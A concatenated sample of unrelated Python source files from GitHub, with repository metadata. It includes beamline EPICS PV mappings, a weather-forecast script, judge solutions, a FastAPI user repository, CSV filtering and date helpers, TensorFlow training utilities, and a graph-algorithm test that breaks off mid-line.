'xmap_stp':'9idbXMAP:StopAll', 'netCDF_stp':'9idbXMAP:netCDF1:Capture',\n 'mcs_stp':'9idbBNP:3820:StopAll', 'mcs_status':'9idbBNP:3820:Acquiring',\n 'xmap_status':'9idbXMAP:Acquiring', 'netCDF_save':'9idbXMAP:netCDF1:WriteFile',\n 'netCDF_status':'9idbXMAP:netCDF1:WriteFile_RBV',\n 'collect_mode':'9idbXMAP:CollectMode',\n 'y_motor_ready':'9idbTAU:SY:Ps:Ready', 'xztp_motor_ready':'9idbTAU:SM:Ps:Ready',\n 'x_piezo_val':'9idbTAU:M7009.VAL', 'y_piezo_val':'9idbTAU:M7010.VAL',\n 'scan2Record':'9idbBNP:scan2',\n \n \n\n 'x_motorMode':'9idbTAU:SM:Ps:xMotionChoice.VAL',\n 'y_motorMode':'9idbTAU:SY:Ps:yMotionChoice.VAL',\n 'x_updatecenter':'9idbBNP:scan1.P1CP', 'y_updatecenter':'9idbBNP:scan2.P1CP',\n # 'x_setcenter':'9idbBNP:aoRecord11.PROC', 'y_setcenter':'9idbBNP:aoRecord12.PROC',\n 'piezo_xCenter':'9idbTAU:SM:Ps:xCenter.PROC',\n 'piezo_yCenter':'9idbTAU:SY:Ps:yCenter.PROC',\n 'tot_lines':'9idbBNP:scan2.NPTS', 'cur_lines':'9idbBNP:scan2.CPT',\n 'tot_pts_perline':'9idbBNP:scan1.NPTS',\n \n\n 'CryoCon1:In_1':'9idbCRYO:CryoCon1:In_1:Temp.VAL',\n 'CryoCon1:In_3':'9idbCRYO:CryoCon1:In_3:Temp.VAL',\n 'CryoCon1:In_2':'9idbCRYO:CryoCon1:In_2:Temp.VAL',\n 'CryoCon3:In_2':'9idbCRYO:CryoCon3:In_2:Temp.VAL',\n 'CryoCon3:Loop_2':'9idbCRYO:CryoCon3:Loop_2:SetControl.VAL',\n\n\n 'run':'9idbBNP:scan2.EXSC', 'wait':'9idbBNP:scan2.WAIT', 'wait_val':'9idbBNP:scan2.WCNT',\n 'pause':'9idbBNP:scan1.PAUS', 'abort':'9idbBNP:AbortScans.PROC', \n 'msg1d':'9idbBNP:scan1.SMSG',\n 'fname_saveData':'9idbBNP:saveData_fileName',\n 'filesys':'9idbBNP:saveData_fileSystem',\n 'subdir':'9idbBNP:saveData_subDir',\n 'nextsc':'9idbBNP:saveData_scanNumber',\n 'basename':'9idbBNP:saveData_baseName',\n \n }\n return pvs\n \ndef scan2RecordDetectorTrigerPVs():\n pvs = {'scan1':'9idbBNP:scan1.EXSC',\n 'eigerAcquire':'2iddEGR:cam1:Acquire',\n 'eigerFileCapture':'2iddEGR:HDF1:Capture'}\n return pvs\n \ndef getEiger():\n # create Eiger cam record\n e = eiger('2iddEGR:cam1:', '2iddEGR:HDF1:')\n return e\n \n# pvs = {'test1':'2idbleps:userTran2.CMTA', 'test2':'2idbleps:userTran2.CMTB', 'test3':'2idbleps:userTran2.CMTC',\n# 'test4':'2idbleps:userTran2.CMTD', 'test5':'2idbleps:userTran2.CMTE', 'test6':'2idbleps:userTran2.CMTF',\n# 'test7':'2idbleps:userTran2.CMTG'}\n\n\ndef getPVobj():\n pvObjs = {}\n pvs = definePVs()\n for k, v in pvs.items():\n if 'Record' not in k:\n pv_obj = pvObject(v, k, onchange_callback=True if '9idbBNP:scan2.CPT'==v else False)\n pvObjs.update({k: pv_obj})\n else:\n pvObjs.update({k:epics.devices.Scan(v)})\n return pvObjs\n","repo_name":"AdvancedPhotonSource/bnpTools","sub_path":"bnpGUI/pvObjects.py","file_name":"pvObjects.py","file_ext":"py","file_size_in_byte":6211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"5874808279","text":"from pathlib import Path\nfrom geopy.geocoders import Nominatim\nimport requests\nimport pandas as pd\n\n\ndef get_forecast(city=\"Pittsburgh\"):\n \"\"\"\n Retrieves the weather forecast for a specified city.\n\n This function uses the Nominatim geocoding service to obtain the latitude and longitude\n coordinates of the specified city. It then constructs a URL to access the weather forecast\n data using the National Weather Service (NWS) API. The API response is processed to extract\n the forecast periods, and the forecast for the \"Tonight\" period is returned.\n\n :param city: The name of the city for which to retrieve the weather forecast (default: Pittsburgh).\n :type city: str\n :return: A dictionary containing the weather forecast for the \"Tonight\" period.\n :rtype: dict\n \"\"\"\n\n geolocator = Nominatim(user_agent=\"ModernProgramming\")\n location = geolocator.geocode(city)\n URL = f\"https://api.weather.gov/points/{location.latitude},{location.longitude}\"\n response = requests.get(URL)\n response = requests.get(response.json()[\"properties\"][\"forecast\"])\n periods = response.json()[\"properties\"][\"periods\"]\n for period in periods:\n if period[\"name\"] == \"Tonight\":\n break\n\n return period\n\n\ndef main():\n \"\"\"\n Retrieves the weather forecast for a specified city and updates a DataFrame and README file.\n\n This function calls the `get_forecast` function to retrieve the weather forecast for a city\n (defaulting to Pittsburgh). It then updates a DataFrame containing forecast information. If\n a DataFrame file named \"weather.pkl\" exists, it loads the DataFrame; otherwise, it initializes\n a new DataFrame. The retrieved forecast information is appended to the DataFrame, and duplicate\n entries are removed. The updated DataFrame is saved back to the \"weather.pkl\" file.\n\n Additionally, this function generates a README markdown file for a GitHub repository. It includes\n badges indicating the status of repository workflows and presents the nightly forecast for Pittsburgh.\n The forecast information is formatted using the DataFrame's `to_markdown` method. Finally, a copyright\n notice is added to the README file.\n\n :return: None\n \"\"\"\n\n period = get_forecast()\n file = \"weather.pkl\"\n\n if Path(file).exists():\n df = pd.read_pickle(file)\n else:\n df = pd.DataFrame(columns=[\"Start Date\", \"End Date\", \"Forecast\"])\n\n datum = {\n \"Start Date\": period[\"startTime\"],\n \"End Date\": period[\"endTime\"],\n \"Forecast\": period[\"detailedForecast\"],\n }\n df = pd.concat([df, pd.DataFrame([datum])], ignore_index=True)\n\n df = df.drop_duplicates()\n df.to_pickle(file)\n\n # sort repositories\n file = open(\"README.md\", \"w\")\n file.write(\n \"\\n\"\n )\n file.write(\n \"\\n\"\n )\n file.write(\"# Pittsburgh Nightly Forecast\\n\\n\")\n file.write(df.to_markdown(tablefmt=\"github\"))\n file.write(\n \"\\n\\n---\\nCopyright © 2022-2023 Pittsburgh Supercomputing \"\n + \"Center. All Rights Reserved.\"\n )\n file.close()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"icaoberg/python-get-forecast","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":3345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"1760673856","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nfor i in range(0, int(input())):\n BONUS = int(input())\n A1, D1, L1 = input().split()\n A2, D2, L2 = input().split()\n\n G1 = ((int(A1) + int(D1)) / 2)\n G2 = ((int(A2) + int(D2)) / 2)\n if int(L1) % 2 == 0:\n G1 += BONUS\n if int(L2) % 2 == 0:\n G2 += BONUS\n if G1 == G2:\n print('Emapate')\n elif G1 > G2:\n print('Dabriel')\n else:\n print('Guarte')\n","repo_name":"quatroka/urionlinejudge","sub_path":"iniciante/python/2221.py","file_name":"2221.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"66"}
+{"seq_id":"21487700161","text":"class Solution(object):\n def dfs(self,nums, prev):\n if not nums: return 1\n \n res = 0\n for i, num in enumerate(nums):\n if i and num == nums[i - 1]: continue\n s = num + prev\n if prev < 0 or int(sqrt(s))**2 == s:\n res += self.dfs(nums[:i] + nums[i+1:], num)\n return res\n def numSquarefulPerms(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n \n nums = sorted(nums)\n if not nums: return 0\n return self.dfs(nums, -1) \n","repo_name":"bontu-fufa/squid-game","sub_path":"numSquarefulPerms.py","file_name":"numSquarefulPerms.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"43369400248","text":"# OPath\nfrom models.user_api_model import UserRegister\nfrom models.db_model import UserDB\nfrom utils.hashing import Hash\n# SQLAlchemy\nfrom sqlalchemy.orm import Session\n\n# Pydantic\nfrom pydantic import EmailStr\n\n# FastAPI\nfrom fastapi import HTTPException, status\n\n\ndef create(user: UserRegister, db: Session):\n user.password = Hash.hash_password(user.password)\n\n new_user = UserDB(**user.dict())\n db.add(new_user)\n db.commit()\n db.refresh(new_user)\n\n return new_user\n\n\ndef get_all(db: Session):\n users = db.query(UserDB).all()\n return users\n\n\ndef get(id: int, db: Session):\n user = db.query(UserDB).filter(\n UserDB.id == id).first()\n\n if not user:\n raise HTTPException(\n status_code=status.HTTP_404_NOT_FOUND, \n detail=\"This user doesn't exist!\"\n )\n \n return user\n\n\ndef delete(id: int, db: Session):\n\n user = db.query(UserDB).filter(UserDB.id == id)\n\n if not user.first():\n raise HTTPException(\n status_code=status.HTTP_404_NOT_FOUND,\n detail=\"This user doesn't exist!\"\n ) \n\n user.delete(synchronize_session=False)\n db.commit()\n\n return None\n\n\ndef update(\n id: int,\n first_name: str,\n last_name: str,\n email: EmailStr,\n db: Session\n ):\n\n user = db.query(UserDB).filter(\n UserDB.id == id\n )\n\n if not user.first():\n raise HTTPException(\n status_code=status.HTTP_404_NOT_FOUND,\n detail=\"This user doesn't exist!\"\n )\n \n if not first_name: first_name = user.first().first_name\n if not last_name: last_name = user.first().last_name\n if not email: email = user.first().email\n\n user.update(\n {\n UserDB.first_name: first_name,\n UserDB.last_name: last_name, \n UserDB.email: email\n }\n )\n\n db.commit()\n\n return None","repo_name":"alec-ibp/twitter-api","sub_path":"twitter-api/repository/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"9489770300","text":"import itertools\nimport math\nN = int(input())\nS = input()\nl = len(S)\n\n\n#oxooxoxoox\n#s → 1 w→-1\ntemp = []\nfor c in S:\n if c == \"o\":\n temp.append(1)\n else:\n temp.append(-1)\n\nS = temp\n\nflag = False\nfor i in [1,-1]: # 1匹目\n for j in [1,-1]: #2匹目\n nums = [i,j]\n temp = i * j\n for k in range(1,N-1):\n nums.append(temp * S[k])\n temp = nums[k] * nums[k + 1]\n if temp * nums[0] == S[-1] and nums[-1] * nums[0] * nums[1] == S[0]:\n flag = True\n break\n if flag:\n break\n\nif flag:\n for num in nums:\n if num == -1:\n print(\"W\",end=\"\")\n else:\n print(\"S\", end=\"\")\n\nelse:\n print(-1)\n\n","repo_name":"lilium513/competition_programing","sub_path":"69ARC/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"22012034892","text":"import csv\n\ndef read_csv_file(filename):\n try:\n with open(filename) as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n data = [row for row in csv_reader]\n except FileNotFoundError:\n print('Error, file specified not found in current directory!')\n return None\n return data\n\n\ndef validate_keys(data, kwargs):\n columns_in_table = data[0]\n for key in kwargs.keys():\n if key not in columns_in_table:\n return False\n return True\n\n\ndef are_arguments_in_current_row(row, kwargs):\n for arg_value in kwargs.values():\n if arg_value not in row:\n return False\n return True\n\n\ndef filter(csv_data, full_name__startswith=None, email__contains=None,\n salary__gt=None, salary__lt=None, order_by=None, **kwargs):\n matched_rows = []\n are_kwargs_valid = validate_keys(csv_data, kwargs)\n if are_kwargs_valid:\n for row in csv_data[1:]:\n is_row_approved = [\n are_arguments_in_current_row(row, kwargs),\n full_name_startswith(row, full_name__startswith),\n email_contains(row, email__contains),\n greater_than(row, salary__gt),\n less_than(row, salary__lt),\n ]\n if all(is_row_approved):\n matched_rows.append(row)\n if order_by == 'salary':\n order_data_by(matched_rows)\n return matched_rows\n\n\ndef count(csv_data, full_name__startswith=None, email__contains=None,\n salary__gt=None, salary__lt=None, order_by=None, **kwargs):\n data = filter(csv_data, full_name__startswith, email__contains,\n salary__gt, salary__lt, order_by, **kwargs)\n return len(data)\n\n\ndef first(csv_data, full_name__startswith=None, email__contains=None,\n salary__gt=None, salary__lt=None, order_by=None, **kwargs):\n data = filter(csv_data, full_name__startswith, email__contains,\n salary__gt, salary__lt, order_by, **kwargs)\n if data:\n return data[0]\n return None\n\n\ndef last(csv_data, full_name__startswith=None, email__contains=None,\n salary__gt=None, salary__lt=None, order_by=None, **kwargs):\n data = filter(csv_data, full_name__startswith, email__contains,\n salary__gt, salary__lt, order_by, **kwargs)\n if data:\n return data[-1]\n return None\n\n\ndef full_name_startswith(row, full_name__startswith):\n if not full_name__startswith:\n return True\n first_name = row[0]\n return True if first_name[:len(full_name__startswith)] == full_name__startswith else False\n\n\ndef email_contains(row, email__contains):\n if not email__contains:\n return True\n email = row[3]\n return True if email[len(email)-len(email__contains):] == email__contains else False\n\n\ndef greater_than(row, salary__gt):\n if not salary__gt:\n return True\n return True if int(row[-1]) > salary__gt else False\n\n\ndef less_than(row, salary__lt):\n if not salary__lt:\n return True\n return True if int(row[-1]) < salary__lt else False\n\n\ndef order_data_by(matched_rows):\n matched_rows.sort(key=lambda row: int(row[-1]))\n\n\ndef print_result(results):\n for row in results:\n for field in row:\n print(field, end=', ')\n print('')\n\n\nif __name__ == '__main__':\n data = read_csv_file('example_data.csv')\n # print(data)\n print_result(filter(data, salary__gt=1000, salary__lt=5000, order_by='salary'))","repo_name":"SashoStoichkovArchive/HB_TASKS","sub_path":"projects/week03/13_03_2019/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":3469,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"8373514380","text":"import inspect\nimport os\n\nimport tensorflow as tf\nfrom matplotlib import pyplot as plt\nimport numpy as np\n\nimport pandas as pd\n\n\"\"\"Argument parsing\"\"\"\n\n\ndef list_global_variables(condition=None, filter_underscore=True, **kwargs):\n global globals\n\n def cond(k):\n if k == \"list_global_variables\":\n return False\n if filter_underscore and k.startswith('_'):\n return False\n if condition is not None:\n return condition(k)\n return True\n\n return list(filter(cond, globals().keys()))\n\n\ndef list_global_constants(condition=None, filter_underscore=True, **kwargs):\n upper = set('ABCDEFGHIJKLMNOPQRSTUVWXYZ_1234567890')\n\n def cond(k):\n if condition is not None and not condition(k):\n return False\n if not all(c in upper for c in k):\n return False\n return True\n\n return list_global_variables(condition=cond, filter_underscore=filter_underscore, **kwargs)\n\n\ndef filter_dict_by_value(condition, d):\n return {k: v for k, v in d.items() if condition(v)}\n\n\ndef filter_dict_by_key(condition, d):\n return {k: v for k, v in d.items() if condition(k)}\n\n\ndef list_valid_args(func):\n return list(inspect.signature(func).parameters.keys())\n\n\ndef retrieve_global_variables(keys=None, lower=True, **kwargs):\n if keys is not None:\n d = {k: eval(k) for k in keys}\n else:\n d = {k: eval(k) for k in list_global_variables(**kwargs)}\n return {k.lower(): v for k, v in d.items()}\n\n\ndef retrieve_global_valid_constants(func):\n valid_args = list_valid_args(func)\n constants = list_global_constants(condition=lambda k: not callable(eval(k)))\n keys = [k for k in constants if k.lower() in valid_args]\n return retrieve_global_variables(keys)\n\n\ndef resolve_global_constants(d, **kwargs):\n constants = list_global_constants(**kwargs)\n for k in intersect([k.lower() for k in constants], d.keys()):\n d[k] = eval(k.upper())\n return d\n\n\ndef dict_update(d, d_new):\n for k in set(d).intersection(set(d_new)):\n d[k] = d_new\n return d\n\n\ndef dict_key_lower(d):\n return {k.lower(): v for k, v in d.items()}\n\n\ndef dict_key_upper(d):\n return {k.upper(): v for k, v in d.items()}\n\n\ndef intersect(*keys):\n if len(keys) == 0:\n return []\n if len(keys) == 1:\n return keys\n s = set(keys[0])\n for key in keys[1:]:\n s = s.intersection(set(key))\n return s\n\n\ndef retrieve_args_global_dict(func, d):\n global globals\n\n global_settings = list_global_variables()\n settings = set(d).union(set([k.lower() for k in global_settings]))\n args_dict = dict()\n for k in set(list_valid_args(func)).intersection(settings):\n if k.upper() in global_settings:\n args_dict[k] = eval(k.upper())\n elif d.get(k, None) is not None:\n args_dict[k] = d[k]\n return args_dict\n\n\n\"\"\"Hardware configuration\"\"\"\n\n\ndef solve_hardware():\n try:\n tpu = tf.distribute.cluster_resolver.TPUClusterResolver()\n tf.config.experimental_connect_to_cluster(tpu)\n tf.tpu.experimental.initialize_tpu_system(tpu)\n strategy = tf.distribute.TPUStrategy(tpu)\n print('Running on TPUv3-8')\n except:\n tpu = None\n strategy = tf.distribute.get_strategy()\n print('Running on GPU with mixed precision')\n\n batch_size = 16 * strategy.num_replicas_in_sync\n\n print('Number of replicas:', strategy.num_replicas_in_sync)\n print('Batch size: %.i' % batch_size)\n\n return tpu, strategy\n\n\ndef seed_everything(seed):\n tf.random.set_seed(seed)\n # np.random.set_state(seed)\n\n\ndef plot_history_metric(history, metric, f_best=np.argmax, ylim=None, yscale=None, yticks=None):\n # https://www.kaggle.com/code/markwijkhuizen/rsna-convnextv2-training-tensorflow-tpu?scriptVersionId=116484001\n plt.figure(figsize=(20, 10))\n\n values = history[metric]\n N_EPOCHS = len(values)\n val = 'val' in ''.join(history.keys())\n # Epoch Ticks\n if N_EPOCHS <= 20:\n x = np.arange(1, N_EPOCHS + 1)\n else:\n x = [1, 5] + [10 + 5 * idx for idx in range((N_EPOCHS - 10) // 5 + 1)]\n\n x_ticks = np.arange(1, N_EPOCHS + 1)\n\n # Validation\n if val:\n val_values = history[f'val_{metric}']\n val_argmin = f_best(val_values)\n plt.plot(x_ticks, val_values, label=f'val')\n\n # summarize history for accuracy\n plt.plot(x_ticks, values, label=f'train')\n argmin = f_best(values)\n plt.scatter(argmin + 1, values[argmin], color='red', s=75, marker='o', label=f'train_best')\n if val:\n plt.scatter(val_argmin + 1, val_values[val_argmin], color='purple', s=75, marker='o', label=f'val_best')\n\n plt.title(f'Model {metric}', fontsize=24, pad=10)\n plt.ylabel(metric, fontsize=20, labelpad=10)\n\n if ylim:\n plt.ylim(ylim)\n\n if yscale is not None:\n plt.yscale(yscale)\n\n if yticks is not None:\n plt.yticks(yticks, fontsize=16)\n\n plt.xlabel('epoch', fontsize=20, labelpad=10)\n plt.tick_params(axis='x', labelsize=8)\n plt.xticks(x, fontsize=16) # set tick step to 1 and let x axis start at 1\n plt.yticks(fontsize=16)\n\n plt.legend(prop={'size': 10})\n plt.grid()\n plt.show()\n\n\ndef solve_folder_path(base):\n if not os.path.exists(base):\n os.makedirs(base)\n return base\n for i in range(1000):\n folder = os.path.join(base, f'{i:04d}')\n if not os.path.exists(folder):\n os.makedirs(folder)\n return folder\n\n\ndef plot_training_results_2(folder=\"./exp\"):\n folder = solve_folder_path(folder)\n\n global FOLDS\n\n \"\"\"\n Plot training results\n \"\"\"\n import matplotlib.pyplot as plt\n import matplotlib.gridspec as gridspec\n\n fig = plt.figure(figsize=(32, 10), constrained_layout=True)\n gs = gridspec.GridSpec(2, FOLDS, figure=fig)\n\n for fold_idx in range(FOLDS):\n tmp_log_dir = os.path.join(folder, f\"fold{fold_idx}_logs/version_0\")\n metrics = pd.read_csv(os.path.join(tmp_log_dir, 'metrics.csv'))\n\n train_acc = metrics['train_f1'].dropna().reset_index(drop=True)\n valid_acc = metrics['valid_f1'].dropna().reset_index(drop=True)\n\n ax = fig.add_subplot(gs[0, fold_idx])\n ax.plot(train_acc, color=\"r\", marker=\"o\", label='train/f1')\n ax.plot(valid_acc, color=\"b\", marker=\"x\", label='valid/f1')\n ax.set_xlabel('Epoch', fontsize=24)\n ax.set_ylabel('F1', fontsize=24)\n ax.set_title(f'fold {fold_idx}')\n ax.legend(loc='lower right', fontsize=18)\n\n train_loss = metrics['train_loss'].dropna().reset_index(drop=True)\n valid_loss = metrics['valid_loss'].dropna().reset_index(drop=True)\n\n ax = fig.add_subplot(gs[1, fold_idx])\n ax.plot(train_loss, color=\"r\", marker=\"o\", label='train/loss')\n ax.plot(valid_loss, color=\"b\", marker=\"x\", label='valid/loss')\n ax.set_ylabel('Loss', fontsize=24)\n ax.set_xlabel('Epoch', fontsize=24)\n ax.legend(loc='upper right', fontsize=18)\n\n\ndef display_result(history, model, i=0):\n try:\n history = history.history\n except:\n pass\n\n try:\n os.mkdir('res')\n except:\n pass\n\n with open(f'res/report.txt', 'w+') as f:\n f.write(f\"acc: {max(history['val_acc'])}\\n\\n\")\n model.summary(print_fn=lambda x: f.write(x + '\\n'))\n\n model.save_weights(os.path.join('res', \"model.h5\"))\n\n print(f\"Acc: {100 * max(history['val_acc'])}\")\n\n plt.plot(history['acc'])\n plt.plot(history['val_acc'])\n plt.title('model accuracy')\n plt.ylabel('accuracy')\n plt.xlabel('epoch')\n plt.legend(['train', 'test'], loc='upper left')\n plt.show()\n\n plt.plot(history['loss'])\n plt.plot(history['val_loss'])\n plt.title('model loss')\n plt.ylabel('loss')\n plt.xlabel('epoch')\n plt.legend(['train', 'test'], loc='upper left')\n plt.show()\n\n\ndef inspect_distribution(m):\n from keract import get_activations\n\n image = tf.random.normal(128, 380, 380, 3, mean=0.5, stddev=0.5)\n\n for layer in m.layers:\n act = get_activations(\n m, image,\n layer_names=layer.name,\n output_format='simple',\n nested=True,\n auto_compile=True\n )\n","repo_name":"1712catfish/keras-classification","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"25404181456","text":"def majority(a, code):\n return len(list(filter(lambda x: x == code, a))) * 2 > len(a)\n\ndef findmajority(a):\n code, count = None, 0\n for number in a:\n if count == 0:\n code, count = number, 1\n elif number == code:\n count += 1\n else:\n count -= 1\n return code if majority(a, code) else -1\n\ndef main():\n k, n = map(int, input().split())\n print(' '.join(str(findmajority(list(map(int, input().split())))) for _ in range(k)))\n\nif __name__ == '__main__':\n main()\n","repo_name":"jyothsana-GitHub/Assignment","sub_path":"Maj.py","file_name":"Maj.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"30690171256","text":"import datetime\nfrom dateutil.relativedelta import relativedelta\n\ndef getShortDateString(date):\n date = date.split()\n m = 0\n if date[0] == \"Jan\":\n m = 1\n elif date[0] == \"Feb\":\n m = 2\n elif date[0] == \"Mar\":\n m = 3\n elif date[0] == \"Apr\":\n m = 4\n elif date[0] == \"May\":\n m = 5\n elif date[0] == \"Jun\":\n m = 6\n elif date[0] == \"Jul\":\n m = 7\n elif date[0] == \"Aug\":\n m = 8\n elif date[0] == \"Sep\":\n m = 9\n elif date[0] == \"Oct\":\n m = 10\n elif date[0] == \"Nov\":\n m = 11\n elif date[0] == \"Dec\":\n m = 12\n if(len(date) == 2):\n y = int(date[1])\n d = 1\n else:\n y = int(date[2])\n d = int(date[1].split(\",\")[0])\n return datetime.datetime(y, m, d).strftime('%Y-%m-%d')\n\ndef getLongDateString(date):\n date = date.split()\n m = 0\n if date[0] == \"January\":\n m = 1\n elif date[0] == \"February\":\n m = 2\n elif date[0] == \"March\":\n m = 3\n elif date[0] == \"April\":\n m = 4\n elif date[0] == \"May\":\n m = 5\n elif date[0] == \"June\":\n m = 6\n elif date[0] == \"July\":\n m = 7\n elif date[0] == \"August\":\n m = 8\n elif date[0] == \"September\":\n m = 9\n elif date[0] == \"October\":\n m = 10\n elif date[0] == \"November\":\n m = 11\n elif date[0] == \"December\":\n m = 12\n if(len(date) == 2):\n y = int(date[1])\n d = 1\n else:\n y = int(date[2])\n d = int(date[1].split(\",\")[0])\n return datetime.datetime(y, m, d).strftime('%Y-%m-%d')\n\ndef toString(date):\n return date.strftime('%Y-%m-%d')\n\ndef subtractYears(date, years):\n return date - relativedelta(years=years)\n\ndef getFullDashedDateString(date):\n y, m, d = [int(\"\".join(x.split())) for x in date.split('-')]\n return datetime.datetime(y, m, d).strftime('%Y-%m-%d')\n\ndef getDashedDateTime(date):\n y, m, d = [int(\"\".join(x.split())) for x in date.split('-')]\n return datetime.datetime(y, m, d)\n\ndef greaterThanDate(dateA, dateB):\n dtA = getDashedDateTime(dateA)\n dtB = getDashedDateTime(dateB)\n return dtA > dtB\n\ndef greaterThanOrEqualDate(dateA, dateB):\n dtA = getDashedDateTime(dateA)\n dtB = getDashedDateTime(dateB)\n return dtA >= dtB\n\ndef equalDate(dateA, dateB):\n dtA = getDashedDateTime(dateA)\n dtB = getDashedDateTime(dateB)\n return dtA == dtB","repo_name":"DaVinciTachyon/FinalYearProject","sub_path":"dateUtil.py","file_name":"dateUtil.py","file_ext":"py","file_size_in_byte":2422,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"28361048354","text":"#coding=utf-8\n'''\nCreated on 2017.03.03\n极宽版·深度学习·案例\n摘自·极宽深度学习·系列培训课件\n@ www.TopQuant.vip www.ziwang.com\nTop极宽量化开源团队\n\n'''\n\nimport tensorflow as tf\nimport numpy as np\nimport pandas as pd\nimport tflearn\n#import sklearn\nfrom sklearn.cross_validation import train_test_split \n#from __future__ import absolute_import, division, print_function\nimport matplotlib.pyplot as plt\n\n#-----------------\n\"\"\" Linear Regression Example \"\"\"\n\n\n\n# Regression data\n#X = [3.3,4.4,5.5,6.71,6.93,4.168,9.779,6.182,7.59,2.167,7.042,10.791,5.313,7.997,5.654,9.27,3.1]\n#Y = [1.7,2.76,2.09,3.19,1.694,1.573,3.366,2.596,2.53,1.221,2.827,3.465,1.65,2.904,2.42,2.94,1.3]\nfss='data/p100.csv'\ndf=pd.read_csv(fss)\nprint(df.tail())\n#X,Y=df['x'].values,df['y'].values\n#X,Y=df['x'].tolist,df['y'].tolist\nX,Y=list(df['x'].values),list(df['y'].values)\n#print(X)\nprint(type(X))\n# Linear Regression graph\ninput_ = tflearn.input_data(shape=[None])\nlinear = tflearn.single_unit(input_)\nregression = tflearn.regression(linear, optimizer='sgd', loss='mean_square',\n metric='R2', learning_rate=0.001)\nm = tflearn.DNN(regression, tensorboard_verbose=3)\n#m = tflearn.DNN(regression,logdir='/tmp/tflearn_logs', tensorboard_verbose=3)\n#m = tflearn.Trainer(train_ops=m_op,tensorboard_dir='/tmp/tflearn_logs/',tensorboard_verbose=2)\n # Training for 10 epochs.\nm.fit(X, Y, n_epoch=1000, show_metric=True, snapshot_epoch=False)\n\nprint(\"\\nRegression result:\")\nprint(\"Y = \" + str(m.get_weights(linear.W)) +\n \"*X + \" + str(m.get_weights(linear.b)))\n\nprint(\"\\nTest prediction for x = 3.2, 3.3, 3.4:\")\nys2=m.predict(X)\n#print(m.predict([3.2, 3.3, 3.4]))\n# should output (close, not exact) y = [1.5315033197402954, 1.5585315227508545, 1.5855598449707031]\n\n#8.1\nprint('\\n#7,plot')\nplt.plot(X,Y, 'ro', label='Original data')\n#8.2\n\nplt.plot(X, ys2, label='ln_model')\n#\n#8.3\nplt.legend()\nplt.show()\n\n\n","repo_name":"dumpinfo/TsBook","sub_path":"零起点Tensorflow快速入门tf_demo/tf904trx.py","file_name":"tf904trx.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"3154653450","text":"from base_test import ArkoudaTest\nimport arkouda as ak\nimport arachne as ar\nimport networkx as nx\n\nclass AlgorithmTest(ArkoudaTest):\n \"\"\"Test graph algorithm methods.\"\"\"\n def build_undirected_graph(self):\n \"\"\"Builds undirected and weighted graphs in both Arachne and NetworkX for tests.\"\"\"\n src_list = [2,5,2,3,3,3,3,2,3,4,5,5,5,5,5,5,7,8,9,9,8,9 ,10,10,10,24,25,25]\n dst_list = [1,0,0,0,3,3,3,3,4,3,5,2,2,2,2,7,8,9,8,8,5,10,7 ,7 ,7 ,24,26,27]\n wgt_list = [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1 ,1 ,1 ,1 ,10,20]\n src = ak.array(src_list)\n dst = ak.array(dst_list)\n wgt = ak.array(wgt_list)\n\n ar_graph = ar.Graph()\n ar_graph.add_edges_from(src,dst)\n ar_graph_weighted = ar.Graph()\n ar_graph_weighted.add_edges_from(src,dst,wgt)\n\n ebunch = list(zip(src_list,dst_list))\n nx_graph = nx.Graph()\n nx_graph.add_edges_from(ebunch)\n ebunchw = list(zip(src_list,dst_list,wgt_list))\n nx_graph_weighted = nx.Graph()\n nx_graph_weighted.add_weighted_edges_from(ebunchw)\n\n return ar_graph, nx_graph, ar_graph_weighted, nx_graph_weighted\n\n def build_directed_graph(self):\n \"\"\"Builds directed and weighted graphs in both Arachne and NetworkX for tests.\"\"\"\n src_list = [2,5,2,3,3,3,3,2,3,4,5,5,5,5,5,5,7,8,9,9,8,9 ,10,10,10,24,25,25]\n dst_list = [1,0,0,0,3,3,3,3,4,3,5,2,2,2,2,7,8,9,8,8,5,10,7 ,7 ,7 ,24,26,27]\n wgt_list = [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1 ,1 ,1 ,1 ,10,20]\n src = ak.array(src_list)\n dst = ak.array(dst_list)\n wgt = ak.array(wgt_list)\n\n ar_di_graph = ar.DiGraph()\n ar_di_graph.add_edges_from(src,dst)\n ar_di_graph_weighted = ar.DiGraph()\n ar_di_graph_weighted.add_edges_from(src,dst,wgt)\n\n ebunch = list(zip(src_list,dst_list))\n nx_di_graph = nx.DiGraph()\n nx_di_graph.add_edges_from(ebunch)\n ebunchw = list(zip(src_list,dst_list,wgt_list))\n nx_di_graph_weighted = nx.DiGraph()\n nx_di_graph_weighted.add_weighted_edges_from(ebunchw)\n\n return ar_di_graph, nx_di_graph, ar_di_graph_weighted, 